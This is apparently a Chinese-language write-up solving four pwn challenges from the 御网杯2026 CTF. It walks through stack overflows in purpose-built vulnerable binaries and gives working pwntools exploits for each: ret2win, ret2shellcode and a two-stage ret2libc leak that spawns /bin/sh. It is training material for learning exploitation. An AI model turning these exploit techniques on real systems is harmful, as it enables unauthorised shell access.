御网杯-2026
御网杯2026 PWN1
题目链接
0x01 分析程序

main()


backdoor

简单的栈溢出,这题就是通过
gets()函数无边界检查,从 rbp-0x80 开始写入,可一直向上溢出覆盖 saved rbp 和 return address。
这就是很简单的栈溢出了
漏洞函数 system_addr = 0x4011f6
0x02 EXP
from pwn import *
context(os='linux', arch='amd64')
r = process('./vuln')
r.recvuntil(b'Username: ')
r.sendline(b'admin')
offset = 0x80+0x8
system = 0x04011F6
ret = 0x04012A6
payload = b'A'*offset +p64(ret)+p64(system)
r.sendline(payload)
r.interactive()
御网杯2026 PWN2
题目链接
0x01 分析程序
这题和上面那题都是一样的思路
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
函数分析
main() -> 0x04011F6
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
vuln();
return 0;
}
vuln -> 0x04011AD
int vuln()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("=== Note Service ===");
puts("Leave your note:");
read(0, buf, 0x100uLL);
return puts("Note saved. Thank you!");
}
发现漏洞函数
secert_note() -> 0x0401196
int secret_note()
{
return system("/bin/sh");
}
通过观察发现vuln存在read的栈溢出,buf仅仅需要0x40而read却读取0x100,
目标链子 main()->vlun()->read()->secert_note()
0x02 EXP
from pwn import *
context(os='linux', arch='amd64')
r = process('./vuln')
offset = 0x40+0x8
system =0x401196
r.recvuntil(b'Leave your note:\n')
ret = 0x040124A
payload = offset * b'A' +p64(ret) + p64(system)
r.sendline(payload)
r.interactive()
御网杯2026PWN3
附件地址
提供了两个版本,一个是shellcode,一个进阶版本的ret2libc,祝师傅玩的开心
0x01 分析程序
初步分析

main()函数

vuln()函数

Shift+F12

已知条件
vuln函数出现栈溢出,同时没有类似system和/bin/sh的字符串,利用ROPgadget也找不到类似字符,但是栈并没有开启NX保护,所以本题就是ret2shellcode
0x02 EXP构造
from pwn import *
context(os='linux', arch='amd64')
r = process('./vuln')
r.recvuntil(b"Buffer at:")
buf_addr = int(r.recvline().strip(),16)
shell = asm(shellcraft.sh())
ret = 0x0401207
payload = shell.ljust(0x80,b'\x00')+p64(ret)+p64(buf_addr)
r.recvuntil(b"Message: ")
r.sendline(payload)
r.interactive()
御网杯2026PWN3_Pro
附件地址
做出了一点点小小的改动,开启了NX保护,那这题就是ret2libc解法啦
0x01 分析程序
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
main()->0x0401208
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
vuln();
return 0;
}
vuln() -> 0x0401196
int vuln()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
puts("=== Message Board ===");
puts("Leave your message below:");
printf("Buffer at: %p\n", buf);
printf("Message: ");
read(0, buf, 0x100uLL);
return puts("Thank you for your message!");
}
已知条件
vuln函数出现栈溢出,同时没有类似system和/bin/sh的字符串,利用ROPgadget也找不到类似字符,NX开启保护,考虑ret2libc
0x02 EXP
libc题目思路就是先找出栈溢出点,第一次栈溢出先泄露puts在libc的偏移算出基址,拿到system和/bin/sh存储在libc的地址,返回漏洞函数第二次传输payload
from pwn import *
context(os='linux', arch='amd64')
r = process('./vuln')
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r.recvuntil(b"Message: ")
offset = 0x80+0x8
payload_1 = b'a'*offset
pop_rdi = 0x4012c3
payload_1 += p64(pop_rdi)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload_1 += p64(puts_got)
payload_1 += p64(puts_plt)
ret = 0x40125C
payload_1 += p64(ret)*2 #这里就得需要两次垫片,可以先在返回vuln前做一个验证,看看
vuln = 0x0401196
payload_1 += p64(vuln)
r.sendline(payload_1)
r.recvline()
leak = r.recvline().strip()
puts_leak = u64(leak.ljust(8,b'\x00'))
log.info(f"puts leak: {hex(puts_leak)}")
#验证程序
#payload_2 = b"11"
#r.sendline(payload_2)
#可以发现进入第二次函数
#*=== Message Board ===
#Leave your message below:
#就崩掉了
#part2
r.recvuntil(b"Message: ")
libc.address= puts_leak - libc.symbols['puts']
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload_2 = b'a'*offset
payload_2 += p64(ret)
payload_2 += p64(pop_rdi)
payload_2 += p64(bin_sh)
payload_2 += p64(system)
r.sendline(payload_2)
r.interactive()

评论区
评论加载中...